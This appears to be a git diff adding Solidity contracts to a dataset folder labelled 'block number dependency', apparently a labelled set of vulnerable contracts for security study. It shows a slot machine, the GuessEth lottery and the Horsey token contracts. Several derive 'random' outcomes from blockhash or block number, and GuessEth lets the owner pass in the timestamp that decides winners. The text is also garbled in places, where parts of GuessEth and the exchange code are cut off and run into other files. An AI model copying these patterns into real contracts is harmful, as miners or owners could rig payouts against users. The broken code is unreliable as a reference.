return _finishSpin(msg.sender); + } + + + function _finishSpin(address target) + private returns (uint) + { + playerSpin memory spin = playerSpins[target]; + + require(spin.tokenValue > 0); + require(spin.blockn != block.number); + + uint profit = 0; + + + + uint result; + if (block.number - spin.blockn > 255) { + result = 9999; + } else { + + + + result = random(10000, spin.blockn, target); + } + + if (result > 4489) { + + emit Loss(target); + emit LogResult(target, result, profit, spin.tokenValue, false); + } else { + if (result < 29) { + + profit = SafeMath.mul(spin.tokenValue, 25); + emit Jackpot(target); + + } else { + if (result < 233) { + + profit = SafeMath.mul(spin.tokenValue, 8); + emit EightXMultiplier(target); + } else { + + if (result < 641) { + + profit = spin.tokenValue; + emit ReturnBet(target); + } else { + if (result < 1865) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 25), 10); + emit TwoAndAHalfXMultiplier(target); + } else { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 15), 10); + emit OneAndAHalfXMultiplier(target); + } + } + } + } + emit LogResult(target, result, profit, spin.tokenValue, true); + contractBalance = contractBalance.sub(profit); + ZTHTKN.transfer(target, profit); + } + playerSpins[target] = playerSpin(uint200(0), uint48(0)); + return result; + } + + + + + + function jackpotGuard(uint _wager) + public + view + returns (bool) + { + uint maxProfit = SafeMath.mul(_wager, 25); + uint halfContractBalance = SafeMath.div(contractBalance, 2); + return (maxProfit <= halfContractBalance); + } + + + + function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) { + return uint256(keccak256( + abi.encodePacked( + blockhash(blockn), + entropy) + )); + } + + + function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) { + return maxRandom(blockn, entropy) % upper; + } + + + function balanceOf() public view returns (uint) { + return contractBalance; + } + + function addNewBetAmount(uint _tokenAmount) + public + onlyOwner + { + validTokenBet[_tokenAmount] = true; + } + + + function pauseGame() public onlyOwner { + gameActive = false; + } + + + function resumeGame() public onlyOwner { + gameActive = true; + } + + + function changeOwner(address _newOwner) public onlyOwner { + owner = _newOwner; + } + + + function changeBankroll(address _newBankroll) public onlyOwner { + bankroll = _newBankroll; + } + + + function divertDividendsToBankroll() + public + onlyOwner + { + bankroll.transfer(address(this).balance); + } + + function testingSelfDestruct() + public + onlyOwner + { + + ZTHTKN.transfer(owner, contractBalance); + selfdestruct(owner); + } + + + function _zthToken(address _tokenContract) private view returns (bool) { + return _tokenContract == ZTHTKNADDR; + } +} + + + + +library SafeMath { + + + function mul(uint a, uint b) internal pure returns (uint) { + if (a == 0) { + return 0; + } + uint c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint a, uint b) internal pure returns (uint) { + + uint c = a / b; + + return c; + } + + + function sub(uint a, uint b) internal pure returns (uint) { + assert(b <= a); + return a - b; + } + + + function add(uint a, uint b) internal pure returns (uint) { + uint c = a + b; + assert(c >= a); + return c; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/2110.sol b/smart_contract_dataset/block number dependency/2110.sol new file mode 100644 index 0000000000000000000000000000000000000000..fba876faafdcd5a193e180f1bc752ebfb28fe6bf --- /dev/null +++ b/smart_contract_dataset/block number dependency/2110.sol @@ -0,0 +1,395 @@ +pragma solidity ^0.4.24; + +library SafeMath { + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + +library utils{ + function inArray(uint[] _arr,uint _val) internal pure returns(bool){ + for(uint _i=0;_i< _arr.length;_i++){ + if(_arr[_i]==_val){ + return true; + break; + } + } + return false; + } + + function inArray(address[] _arr,address _val) internal pure returns(bool){ + for(uint _i=0;_i< _arr.length;_i++){ + if(_arr[_i]==_val){ + return true; + break; + } + } + return false; + } +} + + +contract Ownable { + address public owner; + + + constructor() public { + owner = msg.sender; + } + + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + + function transferOwnership(address newOwner) onlyOwner public { + require(newOwner != address(0)); + owner = newOwner; + } + +} + +contract GuessEthEvents{ + event drawLog(uint,uint,uint); + + event guessEvt( + address indexed playerAddr, + uint[] numbers, uint amount + ); + event winnersEvt( + uint blockNumber, + address indexed playerAddr, + uint amount, + uint winAmount + ); + event withdrawEvt( + address indexed to, + uint256 value + ); + event drawEvt( + uint indexed blocknumberr, + uint number + ); + + event sponseEvt( + address indexed addr, + uint amount + ); + + event pauseGameEvt( + bool pause + ); + event setOddsEvt( + uint odds + ); + +} + +contract GuessEth is Ownable,GuessEthEvents{ + using SafeMath for uint; + + + + struct bnumber{ + address addr; + uint number; + uint value; + int8 result; + uint prize; + } + mapping(uint => bnumber[]) public bets; + mapping(uint => address) public betNumber; + + + mapping(address => uint[]) private playerBetBNumber; + + + struct winner{ + bool result; + uint prize; + } + + mapping(uint => winner[]) private winners; + mapping(uint => uint) private winResult; + + address private wallet1; + address private wallet2; + + uint private predictBlockInterval=3; + uint public odds=30; + uint public blockInterval=500; + uint public curOpenBNumber=0; + uint public numberRange=100; + + bool public gamePaused=false; + + + + mapping(address => uint) Sponsors; + uint public balanceOfSPS=0; + address[] public SponsorAddresses; + + uint reservefund=30 ether; + + + + modifier isHuman() { + address _addr = msg.sender; + uint256 _codeLength; + + assembly {_codeLength := extcodesize(_addr)} + require(_codeLength == 0, "sorry humans only"); + _; + } + + constructor(address _wallet1,address _wallet2) public{ + wallet1=_wallet1; + wallet2=_wallet2; + + curOpenBNumber=blockInterval*(block.number.div(blockInterval)); + } + + function pauseGame(bool _status) public onlyOwner returns(bool){ + gamePaused=_status; + emit pauseGameEvt(_status); + } + + function setOdds(uint _odds) isHuman() public onlyOwner returns(bool){ + odds = _odds; + emit setOddsEvt(_odds); + } + function setReservefund(uint _reservefund) isHuman() public onlyOwner returns(bool){ + reservefund = _reservefund * 1 ether; + } + + function getTargetBNumber() view isHuman() public returns(uint){ + uint n; + n=blockInterval*(predictBlockInterval + block.number/blockInterval); + return n; + } + + function guess(uint[] _numbers) payable isHuman() public returns(uint){ + require(msg.value >= _numbers.length * 0.05 ether); + + uint n=blockInterval*(predictBlockInterval + block.number/blockInterval); + + for(uint _i=0;_i < _numbers.length;_i++){ + bnumber memory b; + + b.addr=msg.sender; + b.number=_numbers[_i]; + b.value=msg.value/_numbers.length; + b.result=-1; + + bets[n].push(b); + } + + + if(utils.inArray(playerBetBNumber[msg.sender],n)==false){ + playerBetBNumber[msg.sender].push(n); + } + + emit guessEvt(msg.sender,_numbers, msg.value); + + return _numbers.length; + } + + + function getPlayerGuessNumbers() view public returns (uint[],uint[],uint256[],int8[],uint[]){ + uint _c=0; + uint _i=0; + uint _j=0; + uint _bnumber; + uint limitRows=100; + + while(_i < playerBetBNumber[msg.sender].length){ + _bnumber=playerBetBNumber[msg.sender][_i]; + for(_j=0 ; _j < bets[_bnumber].length && _c < limitRows ; _j++){ + if(msg.sender==bets[_bnumber][_j].addr){ + _c++; + } + } + _i++; + } + + uint[] memory _blockNumbers=new uint[](_c); + uint[] memory _numbers=new uint[](_c); + uint[] memory _values=new uint[](_c); + int8[] memory _result=new int8[](_c); + uint[] memory _prize=new uint[](_c); + + if(_c<=0){ + return(_blockNumbers,_numbers,_values,_result,_prize); + } + + + + uint _count=0; + for(_i=0 ; _i < playerBetBNumber[msg.sender].length ; _i++){ + _bnumber=playerBetBNumber[msg.sender][_i]; + + for(_j=0 ; _j < bets[_bnumber].length && _count < limitRows ; _j++){ + if(bets[_bnumber][_j].addr == msg.sender){ + _blockNumbers[_count] = _bnumber; + _numbers[_count] = bets[_bnumber][_j].number; + _values[_count] = bets[_bnumber][_j].value; + _result[_count] = bets[_bnumber][_j].result; + _prize[_count] = bets[_bnumber][_j].prize; + + _count++; + } + } + } + + + return(_blockNumbers,_numbers,_values,_result,_prize); + } + + + function draw(uint _blockNumber,uint _blockTimestamp) public onlyOwner returns (uint){ + require(block.number >= curOpenBNumber + blockInterval); + + + curOpenBNumber=_blockNumber; + uint result=_blockTimestamp % numberRange; + winResult[_blockNumber]=result; + + for(uint _i=0;_i < bets[_blockNumber].length;_i++){ + + + + if(bets[_blockNumber][_i].number==result){ + bets[_blockNumber][_i].result = 1; + bets[_blockNumber][_i].prize = bets[_blockNumber][_i].value * odds; + + emit winnersEvt(_blockNumber,bets[_blockNumber][_i].addr,bets[_blockNumber][_i].value,bets[_blockNumber][_i].prize); + + withdraw(bets[_blockNumber][_i].addr,bets[_blockNumber][_i].prize); + + }else{ + bets[_blockNumber][_i].result = 0; + bets[_blockNumber][_i].prize = 0; + } + } + + emit drawEvt(_blockNumber,curOpenBNumber); + + return result; + } + + function getWinners(uint _blockNumber) view public returns(address[],uint[]){ + uint _count=winners[_blockNumber].length; + + address[] memory _addresses = new address[](_count); + uint[] memory _prize = new uint[](_count); + + uint _i=0; + for(_i=0;_i<_count;_i++){ + + _prize[_i] = winners[_blockNumber][_i].prize; + } + + return (_addresses,_prize); + } + + function getWinResults(uint _blockNumber) view public returns(uint){ + return winResult[_blockNumber]; + } + + function withdraw(address _to,uint amount) public onlyOwner returns(bool){ + require(address(this).balance.sub(amount) > 0); + _to.transfer(amount); + + emit withdrawEvt(_to,amount); + return true; + } + + + function invest() isHuman payable public returns(uint){ + require(msg.value >= 1 ether,"Minima amoun:1 ether"); + + Sponsors[msg.sender] = Sponsors[msg.sender].add(msg.value); + balanceOfSPS = balanceOfSPS.add(msg.value); + + if(!utils.inArray(SponsorAddresses,msg.sender)){ + SponsorAddresses.push(msg.sender); + emit sponseEvt(msg.sender,msg.value); + } + + return Sponsors[msg.sender]; + } + + function distribute() public onlyOwner{ + if(address(this).balance < reservefund){ + return; + } + + uint availableProfits=address(this).balance.sub(reservefund); + uint prft1=availableProfits.mul(3 ether).div(10 ether); + uint prft2=availableProfits.sub(prft1); + + uint _val=0; + uint _i=0; + + for(_i=0;_i= a); + return c; + } +} + + + + +contract ERC721Basic { + function balanceOf(address _owner) public view returns (uint256 _balance); + function ownerOf(uint256 _tokenId) public view returns (address _owner); + function exists(uint256 _tokenId) public view returns (bool _exists); + + function approve(address _to, uint256 _tokenId) public; + function getApproved(uint256 _tokenId) public view returns (address _operator); + + function transferFrom(address _from, address _to, uint256 _tokenId) public; +} + + +contract HorseyExchange is Pausable { + + using SafeMath for uint256; + + event HorseyDeposit(uint256 tokenId, uint256 price); + event SaleCanceled(uint256 tokenId); + event HorseyPurchased(uint256 tokenId, address newOwner, uint256 totalToPay); + + + uint256 public marketMakerFee = 3; + + + uint256 collectedFees = 0; + + + ERC721Basic public token; + + + struct SaleData { + uint256 price; + address owner; + } + + + mapping (uint256 => SaleData) market; + + + mapping (address => uint256[]) userBarn; + + + constructor() Pausable() public { + } + + + function setStables(address _token) external + onlyOwner() + { + require(address(_token) != 0,"Address of token is zero"); + token = ERC721Basic(_token); + } + + + function setMarketFees(uint256 fees) external + onlyOwner() + { + marketMakerFee = fees; + } + + + function getTokensOnSale(address user) external view returns(uint256[]) { + return userBarn[user]; + } + + + function getTokenPrice(uint256 tokenId) public view + isOnMarket(tokenId) returns (uint256) { + return market[tokenId].price + (market[tokenId].price / 100 * marketMakerFee); + } + + + function depositToExchange(uint256 tokenId, uint256 price) external + whenNotPaused() + isTokenOwner(tokenId) + nonZeroPrice(price) + tokenAvailable() { + require(token.getApproved(tokenId) == address(this),"Exchange is not allowed to transfer"); + + token.transferFrom(msg.sender, address(this), tokenId); + + + market[tokenId] = SaleData(price,msg.sender); + + + userBarn[msg.sender].push(tokenId); + + emit HorseyDeposit(tokenId, price); + } + + + function cancelSale(uint256 tokenId) external + whenNotPaused() + originalOwnerOf(tokenId) + tokenAvailable() returns (bool) { + + token.transferFrom(address(this),msg.sender,tokenId); + + + delete market[tokenId]; + + + _removeTokenFromBarn(tokenId, msg.sender); + + emit SaleCanceled(tokenId); + + + + return userBarn[msg.sender].length > 0; + } + + + function purchaseToken(uint256 tokenId) external payable + whenNotPaused() + isOnMarket(tokenId) + tokenAvailable() + notOriginalOwnerOf(tokenId) + { + + uint256 totalToPay = getTokenPrice(tokenId); + require(msg.value >= totalToPay, "Not paying enough"); + + + SaleData memory sale = market[tokenId]; + + + collectedFees += totalToPay - sale.price; + + + sale.owner.transfer(sale.price); + + + _removeTokenFromBarn(tokenId, sale.owner); + + + delete market[tokenId]; + + + + token.transferFrom(address(this), msg.sender, tokenId); + + + if(msg.value > totalToPay) + { + msg.sender.transfer(msg.value.sub(totalToPay)); + } + + emit HorseyPurchased(tokenId, msg.sender, totalToPay); + } + + + function withdraw() external + onlyOwner() + { + assert(collectedFees <= address(this).balance); + owner.transfer(collectedFees); + collectedFees = 0; + } + + + function _removeTokenFromBarn(uint tokenId, address barnAddress) internal { + uint256[] storage barnArray = userBarn[barnAddress]; + require(barnArray.length > 0,"No tokens to remove"); + int index = _indexOf(tokenId, barnArray); + require(index >= 0, "Token not found in barn"); + + + for (uint256 i = uint256(index); i 0,"Price is zero"); + _; + } + + + modifier tokenAvailable(){ + require(address(token) != 0,"Token address not set"); + _; + } +} + + + + +contract EthorseRace { + + + struct chronus_info { + bool betting_open; + bool race_start; + bool race_end; + bool voided_bet; + uint32 starting_time; + uint32 betting_duration; + uint32 race_duration; + uint32 voided_timestamp; + } + + address public owner; + + + chronus_info public chronus; + + + mapping (bytes32 => bool) public winner_horse; + + + function getCoinIndex(bytes32 index, address candidate) external constant returns (uint, uint, uint, bool, uint); +} + + +contract EthorseHelpers { + + + bytes32[] public all_horses = [bytes32("BTC"),bytes32("ETH"),bytes32("LTC")]; + mapping(address => bool) public legitRaces; + bool onlyLegit = false; + + + function _addHorse(bytes32 newHorse) internal { + all_horses.push(newHorse); + } + + function _addLegitRace(address newRace) internal + { + legitRaces[newRace] = true; + if(!onlyLegit) + onlyLegit = true; + } + + function getall_horsesCount() public view returns(uint) { + return all_horses.length; + } + + + function _isWinnerOf(address raceAddress, address eth_address) internal view returns (bool,bytes32) + { + + EthorseRace race = EthorseRace(raceAddress); + + + if(onlyLegit) + require(legitRaces[raceAddress],"not legit race"); + + bool voided_bet; + bool race_end; + (,,race_end,voided_bet,,,,) = race.chronus(); + + + if(voided_bet || !race_end) + return (false,bytes32(0)); + + + bytes32 horse; + bool found = false; + uint256 arrayLength = all_horses.length; + + + for(uint256 i = 0; i < arrayLength; i++) + { + if(race.winner_horse(all_horses[i])) { + horse = all_horses[i]; + found = true; + break; + } + } + + if(!found) + return (false,bytes32(0)); + + + uint256 bet_amount = 0; + if(eth_address != address(0)) { + (,,,, bet_amount) = race.getCoinIndex(horse, eth_address); + } + + + return (bet_amount > 0, horse); + } +} + + + +contract RoyalStablesInterface { + + struct Horsey { + address race; + bytes32 dna; + uint8 feedingCounter; + uint8 tier; + } + + mapping(uint256 => Horsey) public horseys; + mapping(address => uint32) public carrot_credits; + mapping(uint256 => string) public names; + address public master; + + function getOwnedTokens(address eth_address) public view returns (uint256[]); + function storeName(uint256 tokenId, string newName) public; + function storeCarrotsCredit(address client, uint32 amount) public; + function storeHorsey(address client, uint256 tokenId, address race, bytes32 dna, uint8 feedingCounter, uint8 tier) public; + function modifyHorsey(uint256 tokenId, address race, bytes32 dna, uint8 feedingCounter, uint8 tier) public; + function modifyHorseyDna(uint256 tokenId, bytes32 dna) public; + function modifyHorseyFeedingCounter(uint256 tokenId, uint8 feedingCounter) public; + function modifyHorseyTier(uint256 tokenId, uint8 tier) public; + function unstoreHorsey(uint256 tokenId) public; + function ownerOf(uint256 tokenId) public returns (address); +} + + +contract HorseyToken is EthorseHelpers,Pausable { + using SafeMath for uint256; + + + event Claimed(address raceAddress, address eth_address, uint256 tokenId); + + + event Feeding(uint256 tokenId); + + + event ReceivedCarrot(uint256 tokenId, bytes32 newDna); + + + event FeedingFailed(uint256 tokenId); + + + event HorseyRenamed(uint256 tokenId, string newName); + + + event HorseyFreed(uint256 tokenId); + + + RoyalStablesInterface public stables; + + + uint8 public carrotsMultiplier = 1; + + + uint8 public rarityMultiplier = 1; + + + uint256 public claimingFee = 0.000 ether; + + + struct FeedingData { + uint256 blockNumber; + uint256 horsey; + } + + + mapping(address => FeedingData) public pendingFeedings; + + + uint256 public renamingCostsPerChar = 0.001 ether; + + + constructor(address stablesAddress) + EthorseHelpers() + Pausable() public { + stables = RoyalStablesInterface(stablesAddress); + } + + + function setRarityMultiplier(uint8 newRarityMultiplier) external + onlyOwner() { + rarityMultiplier = newRarityMultiplier; + } + + + function setCarrotsMultiplier(uint8 newCarrotsMultiplier) external + onlyOwner() { + carrotsMultiplier = newCarrotsMultiplier; + } + + + function setRenamingCosts(uint256 newRenamingCost) external + onlyOwner() { + renamingCostsPerChar = newRenamingCost; + } + + + function setClaimingCosts(uint256 newClaimingFee) external + onlyOwner() { + claimingFee = newClaimingFee; + } + + + function addLegitRaceAddress(address newAddress) external + onlyOwner() { + _addLegitRace(newAddress); + } + + + function withdraw() external + onlyOwner() { + owner.transfer(address(this).balance); + } + + + + function addHorseIndex(bytes32 newHorse) external + onlyOwner() { + _addHorse(newHorse); + } + + + function getOwnedTokens(address eth_address) public view returns (uint256[]) { + return stables.getOwnedTokens(eth_address); + } + + + function can_claim(address raceAddress, address eth_address) public view returns (bool) { + bool res; + (res,) = _isWinnerOf(raceAddress, eth_address); + return res; + } + + + function claim(address raceAddress) external payable + costs(claimingFee) + whenNotPaused() + { + + bytes32 winner; + bool res; + (res,winner) = _isWinnerOf(raceAddress, address(0)); + require(winner != bytes32(0),"Winner is zero"); + require(res,"can_claim return false"); + + uint256 id = _generate_special_horsey(raceAddress, msg.sender, winner); + emit Claimed(raceAddress, msg.sender, id); + } + + + function renameHorsey(uint256 tokenId, string newName) external + whenNotPaused() + onlyOwnerOf(tokenId) + costs(renamingCostsPerChar * bytes(newName).length) + payable { + uint256 renamingFee = renamingCostsPerChar * bytes(newName).length; + + if(msg.value > renamingFee) + { + msg.sender.transfer(msg.value.sub(renamingFee)); + } + + stables.storeName(tokenId,newName); + emit HorseyRenamed(tokenId,newName); + } + + + function freeForCarrots(uint256 tokenId) external + whenNotPaused() + onlyOwnerOf(tokenId) { + require(pendingFeedings[msg.sender].horsey != tokenId,""); + + uint8 feedingCounter; + (,,feedingCounter,) = stables.horseys(tokenId); + stables.storeCarrotsCredit(msg.sender,stables.carrot_credits(msg.sender) + uint32(feedingCounter * carrotsMultiplier)); + stables.unstoreHorsey(tokenId); + emit HorseyFreed(tokenId); + } + + + function getCarrotCredits() external view returns (uint32) { + return stables.carrot_credits(msg.sender); + } + + + function getHorsey(uint256 tokenId) public view returns (address, bytes32, uint8, string) { + RoyalStablesInterface.Horsey memory temp; + (temp.race,temp.dna,temp.feedingCounter,temp.tier) = stables.horseys(tokenId); + return (temp.race,temp.dna,temp.feedingCounter,stables.names(tokenId)); + } + + + function feed(uint256 tokenId) external + whenNotPaused() + onlyOwnerOf(tokenId) + carrotsMeetLevel(tokenId) + noFeedingInProgress() + { + pendingFeedings[msg.sender] = FeedingData(block.number,tokenId); + uint8 feedingCounter; + (,,feedingCounter,) = stables.horseys(tokenId); + stables.storeCarrotsCredit(msg.sender,stables.carrot_credits(msg.sender) - uint32(feedingCounter)); + emit Feeding(tokenId); + } + + + function stopFeeding() external + feedingInProgress() returns (bool) { + uint256 blockNumber = pendingFeedings[msg.sender].blockNumber; + uint256 tokenId = pendingFeedings[msg.sender].horsey; + + require(block.number - blockNumber >= 1,"feeding and stop feeding are in same block"); + + delete pendingFeedings[msg.sender]; + + + + if(block.number - blockNumber > 255) { + + + emit FeedingFailed(tokenId); + return false; + } + + + if(stables.ownerOf(tokenId) != msg.sender) { + + + emit FeedingFailed(tokenId); + return false; + } + + + _feed(tokenId, blockhash(blockNumber)); + bytes32 dna; + (,dna,,) = stables.horseys(tokenId); + emit ReceivedCarrot(tokenId, dna); + return true; + } + + + function() external payable { + revert("Not accepting donations"); + } + + + function _feed(uint256 tokenId, bytes32 blockHash) internal { + + uint8 tier; + uint8 feedingCounter; + (,,feedingCounter,tier) = stables.horseys(tokenId); + uint256 probabilityByRarity = 10 ** (uint256(tier).add(1)); + uint256 randNum = uint256(keccak256(abi.encodePacked(tokenId, blockHash))) % probabilityByRarity; + + + if(randNum <= (feedingCounter * rarityMultiplier)){ + _increaseRarity(tokenId, blockHash); + } + + + + if(feedingCounter < 255) { + stables.modifyHorseyFeedingCounter(tokenId,feedingCounter+1); + } + } + + + function _makeSpecialId(address race, address sender, bytes32 coinIndex) internal pure returns (uint256) { + return uint256(keccak256(abi.encodePacked(race, sender, coinIndex))); + } + + + function _generate_special_horsey(address race, address eth_address, bytes32 coinIndex) internal returns (uint256) { + uint256 id = _makeSpecialId(race, eth_address, coinIndex); + + bytes32 dna = _shiftRight(keccak256(abi.encodePacked(race, coinIndex)),16); + + stables.storeHorsey(eth_address,id,race,dna,1,0); + return id; + } + + + function _increaseRarity(uint256 tokenId, bytes32 blockHash) private { + uint8 tier; + bytes32 dna; + (,dna,,tier) = stables.horseys(tokenId); + if(tier < 255) + stables.modifyHorseyTier(tokenId,tier+1); + uint256 random = uint256(keccak256(abi.encodePacked(tokenId, blockHash))); + + bytes32 rarityMask = _shiftLeft(bytes32(1), (random % 16 + 240)); + bytes32 newdna = dna | rarityMask; + stables.modifyHorseyDna(tokenId,newdna); + } + + + function _shiftLeft(bytes32 data, uint n) internal pure returns (bytes32) { + return bytes32(uint256(data)*(2 ** n)); + } + + + function _shiftRight(bytes32 data, uint n) internal pure returns (bytes32) { + return bytes32(uint256(data)/(2 ** n)); + } + + + modifier carrotsMeetLevel(uint256 tokenId){ + uint256 feedingCounter; + (,,feedingCounter,) = stables.horseys(tokenId); + require(feedingCounter <= stables.carrot_credits(msg.sender),"Not enough carrots"); + _; + } + + + modifier costs(uint256 amount) { + require(msg.value >= amount,"Not enough funds"); + _; + } + + + modifier validAddress(address addr) { + require(addr != address(0),"Address is zero"); + _; + } + + + modifier noFeedingInProgress() { + + require(pendingFeedings[msg.sender].blockNumber == 0,"Already feeding"); + _; + } + + + modifier feedingInProgress() { + + require(pendingFeedings[msg.sender].blockNumber != 0,"No pending feeding"); + _; + } + + + modifier onlyOwnerOf(uint256 tokenId) { + require(stables.ownerOf(tokenId) == msg.sender, "Caller is not owner of this token"); + _; + } +} + + + + + +contract HorseyPilot { + + + event NewProposal(uint8 methodId, uint parameter, address proposer); + + + event ProposalPassed(uint8 methodId, uint parameter, address proposer); + + + + uint8 constant votingThreshold = 2; + + + + uint256 constant proposalLife = 7 days; + + + + uint256 constant proposalCooldown = 1 days; + + + uint256 cooldownStart; + + + address public jokerAddress; + address public knightAddress; + address public paladinAddress; + + + address[3] public voters; + + + uint8 constant public knightEquity = 40; + uint8 constant public paladinEquity = 10; + + + address public exchangeAddress; + address public tokenAddress; + + + mapping(address => uint) internal _cBalance; + + + struct Proposal{ + address proposer; + uint256 timestamp; + uint256 parameter; + uint8 methodId; + address[] yay; + address[] nay; + } + + + Proposal public currentProposal; + + + bool public proposalInProgress = false; + + + uint256 public toBeDistributed; + + + bool deployed = false; + + + constructor( + address _jokerAddress, + address _knightAddress, + address _paladinAddress, + address[3] _voters + ) public { + jokerAddress = _jokerAddress; + knightAddress = _knightAddress; + paladinAddress = _paladinAddress; + + for(uint i = 0; i < 3; i++) { + voters[i] = _voters[i]; + } + + + cooldownStart = block.timestamp - proposalCooldown; + } + + + function deployChildren(address stablesAddress) external { + require(!deployed,"already deployed"); + + exchangeAddress = new HorseyExchange(); + tokenAddress = new HorseyToken(stablesAddress); + + + HorseyExchange(exchangeAddress).setStables(stablesAddress); + + deployed = true; + } + + + function transferJokerOwnership(address newJoker) external + validAddress(newJoker) { + require(jokerAddress == msg.sender,"Not right role"); + _moveBalance(newJoker); + jokerAddress = newJoker; + } + + + function transferKnightOwnership(address newKnight) external + validAddress(newKnight) { + require(knightAddress == msg.sender,"Not right role"); + _moveBalance(newKnight); + knightAddress = newKnight; + } + + + function transferPaladinOwnership(address newPaladin) external + validAddress(newPaladin) { + require(paladinAddress == msg.sender,"Not right role"); + _moveBalance(newPaladin); + paladinAddress = newPaladin; + } + + + function withdrawCeo(address destination) external + onlyCLevelAccess() + validAddress(destination) { + + + if(toBeDistributed > 0){ + _updateDistribution(); + } + + + uint256 balance = _cBalance[msg.sender]; + + + if(balance > 0 && (address(this).balance >= balance)) { + destination.transfer(balance); + _cBalance[msg.sender] = 0; + } + } + + + function syncFunds() external { + uint256 prevBalance = address(this).balance; + HorseyToken(tokenAddress).withdraw(); + HorseyExchange(exchangeAddress).withdraw(); + uint256 newBalance = address(this).balance; + + toBeDistributed = toBeDistributed + (newBalance - prevBalance); + } + + + function getNobleBalance() external view + onlyCLevelAccess() returns (uint256) { + return _cBalance[msg.sender]; + } + + + function makeProposal( uint8 methodId, uint256 parameter ) external + onlyCLevelAccess() + proposalAvailable() + cooledDown() + { + currentProposal.timestamp = block.timestamp; + currentProposal.parameter = parameter; + currentProposal.methodId = methodId; + currentProposal.proposer = msg.sender; + delete currentProposal.yay; + delete currentProposal.nay; + proposalInProgress = true; + + emit NewProposal(methodId,parameter,msg.sender); + } + + + function voteOnProposal(bool voteFor) external + proposalPending() + onlyVoters() + notVoted() { + + require((block.timestamp - currentProposal.timestamp) <= proposalLife); + if(voteFor) + { + currentProposal.yay.push(msg.sender); + + if( currentProposal.yay.length >= votingThreshold ) + { + _doProposal(); + proposalInProgress = false; + + return; + } + + } else { + currentProposal.nay.push(msg.sender); + + if( currentProposal.nay.length >= votingThreshold ) + { + proposalInProgress = false; + cooldownStart = block.timestamp; + return; + } + } + } + + + function _moveBalance(address newAddress) internal + validAddress(newAddress) { + require(newAddress != msg.sender); + _cBalance[newAddress] = _cBalance[msg.sender]; + _cBalance[msg.sender] = 0; + } + + + function _updateDistribution() internal { + require(toBeDistributed != 0,"nothing to distribute"); + uint256 knightPayday = toBeDistributed / 100 * knightEquity; + uint256 paladinPayday = toBeDistributed / 100 * paladinEquity; + + + uint256 jokerPayday = toBeDistributed - knightPayday - paladinPayday; + + _cBalance[jokerAddress] = _cBalance[jokerAddress] + jokerPayday; + _cBalance[knightAddress] = _cBalance[knightAddress] + knightPayday; + _cBalance[paladinAddress] = _cBalance[paladinAddress] + paladinPayday; + + toBeDistributed = 0; + } + + + function _doProposal() internal { + + if( currentProposal.methodId == 0 ) HorseyToken(tokenAddress).setRenamingCosts(currentProposal.parameter); + + + if( currentProposal.methodId == 1 ) HorseyExchange(exchangeAddress).setMarketFees(currentProposal.parameter); + + + if( currentProposal.methodId == 2 ) HorseyToken(tokenAddress).addLegitRaceAddress(address(currentProposal.parameter)); + + + if( currentProposal.methodId == 3 ) HorseyToken(tokenAddress).addHorseIndex(bytes32(currentProposal.parameter)); + + + if( currentProposal.methodId == 4 ) { + if(currentProposal.parameter == 0) { + HorseyExchange(exchangeAddress).unpause(); + HorseyToken(tokenAddress).unpause(); + } else { + HorseyExchange(exchangeAddress).pause(); + HorseyToken(tokenAddress).pause(); + } + } + + + if( currentProposal.methodId == 5 ) HorseyToken(tokenAddress).setClaimingCosts(currentProposal.parameter); + + + if( currentProposal.methodId == 8 ){ + HorseyToken(tokenAddress).setCarrotsMultiplier(uint8(currentProposal.parameter)); + } + + + if( currentProposal.methodId == 9 ){ + HorseyToken(tokenAddress).setRarityMultiplier(uint8(currentProposal.parameter)); + } + + emit ProposalPassed(currentProposal.methodId,currentProposal.parameter,currentProposal.proposer); + } + + + modifier validAddress(address addr) { + require(addr != address(0),"Address is zero"); + _; + } + + + modifier onlyCLevelAccess() { + require((jokerAddress == msg.sender) || (knightAddress == msg.sender) || (paladinAddress == msg.sender),"not c level"); + _; + } + + + + modifier proposalAvailable(){ + require(((!proposalInProgress) || ((block.timestamp - currentProposal.timestamp) > proposalLife)),"proposal already pending"); + _; + } + + + + modifier cooledDown( ){ + if(msg.sender == currentProposal.proposer && (block.timestamp - cooldownStart < 1 days)){ + revert("Cool down period not passed yet"); + } + _; + } + + + modifier proposalPending() { + require(proposalInProgress,"no proposal pending"); + _; + } + + + modifier notVoted() { + uint256 length = currentProposal.yay.length; + for(uint i = 0; i < length; i++) { + if(currentProposal.yay[i] == msg.sender) { + revert("Already voted"); + } + } + + length = currentProposal.nay.length; + for(i = 0; i < length; i++) { + if(currentProposal.nay[i] == msg.sender) { + revert("Already voted"); + } + } + _; + } + + + modifier onlyVoters() { + bool found = false; + uint256 length = voters.length; + for(uint i = 0; i < length; i++) { + if(voters[i] == msg.sender) { + found = true; + break; + } + } + if(!found) { + revert("not a voter"); + } + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/216.sol b/smart_contract_dataset/block number dependency/216.sol new file mode 100644 index 0000000000000000000000000000000000000000..462ea58a9c82e13216377bc30944a39c509f7ec8 --- /dev/null +++ b/smart_contract_dataset/block number dependency/216.sol @@ -0,0 +1,1133 @@ +pragma solidity ^0.4.24; + + + + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + emit OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } +} + + + + +contract Pausable is Ownable { + event Pause(); + event Unpause(); + + bool public paused = false; + + + + modifier whenNotPaused() { + require(!paused); + _; + } + + + modifier whenPaused() { + require(paused); + _; + } + + + function pause() onlyOwner 